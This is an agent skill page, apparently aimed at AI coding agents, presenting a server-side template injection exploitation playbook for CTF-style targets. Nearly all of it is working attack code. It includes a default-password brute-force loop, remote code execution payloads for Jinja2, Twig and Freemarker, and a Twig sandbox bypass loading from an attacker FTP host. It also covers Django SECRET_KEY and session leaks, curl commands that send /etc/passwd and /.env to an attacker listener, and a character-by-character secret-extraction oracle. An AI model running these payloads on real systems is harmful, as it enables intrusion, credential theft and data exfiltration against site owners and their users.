# Exploit Ssti

> Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python/Flask), Twig (PHP/Symfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.

- Skill: `purpleailab/exploit-ssti` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/exploit-ssti`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/exploit-ssti/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/exploit-ssti

---


# Server-Side Template Injection (SSTI)

Exploits template engines that render user input, achieving RCE by injecting template directives.

## Default Credentials Fast-Path (when `default_credentials` is a co-tag)

When `default_credentials` appears alongside `ssti` in the challenge tags, attempt login FIRST before any template injection probing:

```bash
# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
  user="${creds%%:*}"; pass="${creds##*:}"
  resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
    -d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
  code=$(echo "$resp" | tail -1)
  [ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done
```

A valid authenticated session exposes the template-rendering endpoints needed for SSTI — attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials.

## Detection — Universal Probes
```bash
# Polyglot detection string
curl -s 'https://<TARGET>/page?input=${{<%[%27"}}%>.' -o ssti_polyglot.txt

# Math-based detection
curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49'        # Jinja2/Twig
curl -s 'https://<TARGET>/page?input=${7*7}' | grep -o '49'         # Freemarker/EL
curl -s 'https://<TARGET>/page?input=#{7*7}' | grep -o '49'         # Ruby ERB/Thymeleaf
curl -s 'https://<TARGET>/page?input={{7*"7"}}' | grep -o '7777777' # Jinja2 (string repeat)
```

## Jinja2 (Python — Flask/Django)
```bash
# Confirm Jinja2
curl -s 'https://<TARGET>/page?input={{config}}'

# RCE via MRO chain
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[<INDEX>]("id",shell=True,stdout=-1).communicate()[0]}}'
curl -s "https://<TARGET>/page?input=${PAYLOAD}" -o ssti_jinja2_rce.txt

# Common RCE payloads
# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# {{cycler.__init__.__globals__.os.popen('id').read()}}
```

## Django (engine.from_string)

When the target is **Django** (not Flask/Jinja2) and a view passes user-controlled string into `Engine.get_default().from_string(...).render(Context(...))`, the exploitation surface is **fundamentally different** from Jinja2.

**Identify Django (vs Flask/Jinja2):**
```bash
# Response header tells: Django sets X-Frame-Options: DENY by default
curl -sI "http://<TARGET>/" | grep -iE 'x-frame-options|csrftoken|django'
# CSRF cookie name: csrftoken (Django) vs session (Flask)
# HTML contains: name="csrfmiddlewaretoken" inputs
curl -s "http://<TARGET>/" | grep -oE 'csrfmiddlewaretoken|csrf_token'
# Admin route exists
curl -s -o /dev/null -w '%{http_code}' "http://<TARGET>/admin/"   # 200/302 → Django
# Fingerprint probe: {% csrf_token %} renders a hidden input in Django; Jinja2 raises
curl -s "http://<TARGET>/page?input={%25+csrf_token+%25}" | grep -o 'csrfmiddlewaretoken'
```

**Critical: Django templates DO NOT expose Jinja2 MRO shortcuts.** The following will NOT work:
- `{{request.application.__globals__}}` — Django has no `application`
- `{{cycler.__init__.__globals__}}` — `cycler` is a tag, not a builtin
- `{{"".__class__.__mro__[1].__subclasses__()}}` — Django blocks `_`-prefixed attribute access in templates (TemplateSyntaxError or silent empty)
- `{% load os %}` — Django filters `{% load %}` to registered apps; arbitrary module load denied

Django template language is restricted to: variable lookup (`{{var}}`), filter pipes (`{{v|upper}}`), and registered tags (`{% if %}…{% endif %}`, `{% csrf_token %}`, `{% include %}`).

**Productive paths for `engine.from_string` SSTI:**

```bash
# 1. Settings leak (works when 'django.template.context_processors.debug' or
#    a custom processor injects `settings` into context)
curl -s "http://<TARGET>/page?input={{settings.SECRET_KEY}}"
curl -s "http://<TARGET>/page?input={{settings.DATABASES}}"
curl -s "http://<TARGET>/page?input={{settings.DEBUG}}"
curl -s "http://<TARGET>/page?input={{settings|pprint}}"

# 2. Request / session / META leak (when `request` is in the context)
curl -s "http://<TARGET>/page?input={{request.session.items}}"
curl -s "http://<TARGET>/page?input={{request.session.flag}}"
curl -s "http://<TARGET>/page?input={{request.META.HTTP_COOKIE}}"
curl -s "http://<TARGET>/page?input={{request.user.is_staff}}"
curl -s "http://<TARGET>/page?input={{request.environ}}"

# 3. {% include %} path traversal (when an attacker-controlled path reaches include)
curl -s "http://<TARGET>/page?input={%25+include+%22../../../etc/passwd%22+%25}"

# 4. Placeholder-replace pattern (`template_str.replace('PLACEHOLDER', user_input)`)
# Server template: "Hello PLACEHOLDER!"  →  Payload: {{ request.session.flag }}
# Rendered: "Hello <session-flag-value>!"
curl -s --data-urlencode 'input={{ request.session.flag }}' "http://<TARGET>/render"
curl -s --data-urlencode 'input={{ settings.SECRET_KEY }}' "http://<TARGET>/render"
curl -s --data-urlencode 'input={{ request.user.username }}' "http://<TARGET>/render"

# 5. messages framework signer key — leaks SECRET_KEY via context-processor object chain
# Works when:
#   - The django.contrib.messages context processor is active (default in startproject)
#   - {% %} tag syntax is filtered/blocked but {{ }} expressions still evaluate
#   - settings is NOT in template context (the common `{{ settings.SECRET_KEY }}` returns empty)
# Mechanism: CookieStorage.signer is a TimestampSigner whose .key attribute is
# `b'django.http.cookies' + SECRET_KEY`. Pure dot-traversal — no underscore-prefixed
# attribute access, no filter bypass needed.
curl -s --data-urlencode 'input={{ messages.storages.0.signer.key }}' "http://<TARGET>/render"
# Strip the constant prefix `django.http.cookies` from the response to recover SECRET_KEY.
# When SECRET_KEY itself contains the flag (apps that read flag.txt into SECRET_KEY at boot),
# this single probe is the entire exploit.
```

**RCE realism:** Django SSTI rarely reaches RCE via the template language alone — `SafeString`/`Variable` resolution blocks `_`-prefixed traversal, and only registered template tags load. The realistic Django SSTI yield is **information disclosure** (settings, session, request context). RCE generally requires either a custom unsafe filter/tag already registered, or the engine built with `Engine(builtins=['unsafe_module'])` — uncommon.

**Context-processor traversal map** (when `{{ settings.* }}` returns empty — settings not in context — enumerate the rest of the context processors before pivoting to auth-required paths):

| Context object | Source processor | Useful disclosure |
|---|---|---|
| `messages.storages.0.signer.key` | `django.contrib.messages.context_processors.messages` | `b'django.http.cookies' + SECRET_KEY` |
| `request.session.*` | `django.template.context_processors.request` | session keys / per-user secrets |
| `request.user.*` | `django.contrib.auth.context_processors.auth` | username, email, is_staff, password hash |
| `perms.*` | `django.contrib.auth.context_processors.auth` | permission set (informational) |
| `csrf_token` | `django.template.context_processors.csrf` | per-session CSRF token (TimestampSigner-derived) |

**3-strike pivot:** After 3 probes against `{{settings.*}}` / `{{request.session.*}}` / `{{request.META.*}}` AND the full Context-processor traversal map above return empty or unchanged template, **pivot to the `default_credentials` skill** to obtain admin auth, then hit `/admin/` and search admin-only models / login-required views for the flag. Do not loop more SSTI variants past 3 negative probes after exhausting the context-processor map.

## Twig (PHP — Symfony)
```bash
# Confirm Twig
curl -s 'https://<TARGET>/page?input={{_self.env.display("id")}}'

# RCE payloads
# Twig 1.x:
# {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Twig 3.x:
# {{['id']|filter('system')}}
# {{['id']|map('system')}}
curl -s "https://<TARGET>/page?input={{['id']|filter('system')}}" -o ssti_twig_rce.txt
```

**Multi-surface rendering rule (MANDATORY for stored-input apps).**

When the target has CRUD endpoints (add/edit/list/search/detail/export), template injection often evaluates on ONLY ONE of the rendering surfaces — typically the detail/show page or an admin/export view — even when the same value is displayed as literal text on the list/search results. **Seeing `{{7*7}}` reflected literally on one page does NOT prove templates are inactive — it proves THAT particular surface is not template-rendered.**

Test EVERY rendering surface before concluding SSTI is unavailable:

```bash
# 1. STORE the probe — submit {{7*7}} into a persisted field (name, description, comment, tag)
curl -s -X POST "http://<TARGET>/<add_endpoint>" -d 'name={{7*7}}&description={{49+1}}'
NEW_ID="<extract from redirect or list>"

# 2. PROBE each rendering surface — the one that evaluates wins
for path in /list /search?q={{7*7}} /detail/${NEW_ID} /edit/${NEW_ID} /export /admin/${RESOURCE} /api/${RESOURCE}/${NEW_ID}; do
  echo "=== ${path} ==="
  curl -s "http://<TARGET>${path}" -o /tmp/render_${path//\//_}.txt
  # 49/50 → evaluated → THIS surface is the SSTI sink
  grep -E "^[^<]*(49|50)([^0-9]|$)" /tmp/render_${path//\//_}.txt | head -3
done
```

**Twig sandbox is per-loader, not global.** A page that shows `Sandbox mode: Enabled` does NOT mean every Twig context is sandboxed. Stored-data rendering (typically `Twig\Environment` instances initialized for content/email/PDF) is commonly unsandboxed even when the index template is. Test each surface independently before dismissing SSTI.

**Twig sandbox-bypass payloads** (when one specific endpoint IS sandboxed but RCE primitives like `system`/`filter` are not whitelisted):

```bash
# Twig 1.x — register undefined filter callback to call arbitrary PHP function
curl -s 'http://<TARGET>/page?input={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}'
# Twig 2.x/3.x — use map/filter with system
curl -s 'http://<TARGET>/page?input={{["id"]|map("system")|join}}'
# Class-injection gadget (when filters blocked)
curl -s 'http://<TARGET>/page?input={{_self.env.setCache("ftp://attacker/")}}{{_self.env.loadTemplate("backdoor")}}'
```

**3-strike Twig pivot rule**: If 3 probes against the same field show stored-but-literal output (e.g. `{{7*7}}` appears as `{{7*7}}` not `49`), STOP iterating that field. The bypass is a different rendering surface OR a different field on the same surface — not a deeper payload on the same dead field.

## Freemarker (Java)
```bash
# Confirm Freemarker
curl -s 'https://<TARGET>/page?input=${7*7}'

# RCE payloads
# <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# ${"freemarker.template.utility.Execute"?new()("id")}
curl -s 'https://<TARGET>/page?input=<#assign+ex="freemarker.template.utility.Execute"?new()>${ex("id")}' -o ssti_freemarker_rce.txt
```

## Blind SSTI (no direct reflection — "Blind" in challenge name)

When the challenge name contains "Blind" or SSTI payloads produce no visible output change, the template is rendered server-side but results are not echoed. Use out-of-band or side-channel techniques:

```bash
# Time-based oracle (Jinja2) — confirms SSTI without reflection
# If SLEEP(5) causes a 5s delay, SSTI is present
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[<N>](['sleep','5'],stdout=-1).communicate()}}" --max-time 10 -w '\nTime: %{time_total}s\n' -o /tmp/ssti_time.txt

# Simpler time delay via Jinja2 config globals
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].system('sleep 5')}}" --max-time 10 -w '\nTime: %{time_total}s\n'

# Out-of-band: write sensitive file to a readable path, then fetch it
# Step 1: exfiltrate target file to /tmp/out via RCE (replace /.env with discovered path)
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].popen('cat /.env > /tmp/env_out').read()}}"
# Step 2: read via LFI or a file-serving endpoint if available
curl -s "http://<TARGET>/static/../tmp/env_out"
curl -s "http://<TARGET>/download?file=../tmp/env_out"

# Alternative: write to web root if writable
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].popen('cp /.env /app/static/f.txt').read()}}"
curl -s "http://<TARGET>/static/f.txt"
```

**Decision flow for blind SSTI:**
1. Confirm time-delay oracle (1 curl, ≥5s response = SSTI confirmed)
2. Attempt RCE + write sensitive file content to /tmp/out + read via static/download endpoint
3. If no file-serving path: use DNS/HTTP callback (`curl http://<ATTACKER>:PORT/?f=$(cat /.env | base64)`) — set up listener first with `nc -lvnp <PORT> &`
4. If sandbox blocks outbound: try writing to error logs, then trigger log read

## Blind Jinja2 Sandbox Escape — Subclasses Gadget Chain

When direct RCE payloads are sandboxed, enumerate subclasses to find a Popen-capable class:

```bash
# Step 1: enumerate all subclasses (save to file — output can be large)
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()}}" \
  -o /tmp/subclasses.txt
# Count classes and find Popen
grep -o "subprocess.Popen\|<class '" /tmp/subclasses.txt | wc -l
python3 -c "
import re, sys
data = open('/tmp/subclasses.txt').read()
classes = re.findall(r\"<class '([^']+)'\", data)
for i,c in enumerate(classes):
    if 'Popen' in c or 'process' in c.lower():
        print(i, c)
"

# Step 2: use the index to call Popen (common indices: 200-280 in py3.10+, 132-200 in py3.8)
# Try index 245 first, adjust based on Step 1
INDEX=245
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('id',shell=True,stdout=-1).communicate()[0]}}" \
  -o /tmp/ssti_rce.txt
grep -v '^$' /tmp/ssti_rce.txt | head -5
```

**If output channel is blocked** (blind SSTI, no reflection):
```bash
# Write to web-accessible path then fetch
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('cat /etc/passwd > /tmp/out.txt',shell=True,stdout=-1).communicate()}}"
curl -s "http://<TARGET>/static/../tmp/out.txt"

# Or OOB via HTTP callback — start listener first: nc -lvnp 9999 &
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('curl http://<ATTACKER>:9999/?d=\$(cat /etc/passwd|base64 -w0)',shell=True,stdout=-1).communicate()}}"
```

**Alternative globals-based RCE** (no subclass enumeration needed):
```bash
# Flask globals shortcut — works when request context is available
curl -s "http://<TARGET>/page?input={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}"
curl -s "http://<TARGET>/page?input={{cycler.__init__.__globals__.os.popen('id').read()}}"
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
```

## Error-Status (5xx) Oracle for Blind SSTI

When template output is suppressed but the server returns HTTP 500 on invalid template syntax, use error-status as a boolean oracle — no reflection required.

```bash
TARGET_URL="http://<TARGET>/page?input="

# Calibration: confirm 500 on syntax error vs 200 on valid input
curl -s -o /dev/null -w '%{http_code}' "${TARGET_URL}{{invalid_syntax_xyz_$RANDOM}}"   # expect 500
curl -s -o /dev/null -w '%{http_code}' "${TARGET_URL}hello"                              # expect 200

# Boolean extraction via arithmetic that only evaluates on true branch
# If condition is TRUE  → valid template → 200
# If condition is FALSE → raises TemplateSyntaxError / division-by-zero → 500
for pos in $(seq 1 32); do
  for ascii in $(seq 32 126); do
    code=$(curl -s -o /dev/null -w '%{http_code}' \
      "${TARGET_URL}{% if (secret[${pos}-1]|int)==${ascii} %}ok{% endif %}")
    if [ "$code" = "200" ]; then
      printf "\\x$(printf '%02x' $ascii)"
      break
    fi
  done
done
echo  # newline after extracted string
```

**Decision rule:**
1. Confirm calibration (syntax error → 500, valid → 200) with 2 curl calls.
2. If confirmed, use the 5xx oracle loop above — do NOT fall back to time-delay probing unless the server swallows 500s.
3. If both 200 and 500 are returned for all inputs (WAF normalizing), pivot to DNS/HTTP out-of-band exfiltration.

## Engine Fingerprinting Table

| Probe | Result | Engine |
|-------|--------|--------|
| `{{7*7}}` | `49` | Jinja2 or Twig |
| `{{7*'7'}}` | `7777777` | Jinja2 |
| `{{7*'7'}}` | `49` | Twig |
| `${7*7}` | `49` | Freemarker or EL |
| `#{7*7}` | `49` | Thymeleaf or Ruby ERB |
| `<%= 7*7 %>` | `49` | ERB (Ruby) |
| `@(1+1)` | `2` | Razor (.NET) |

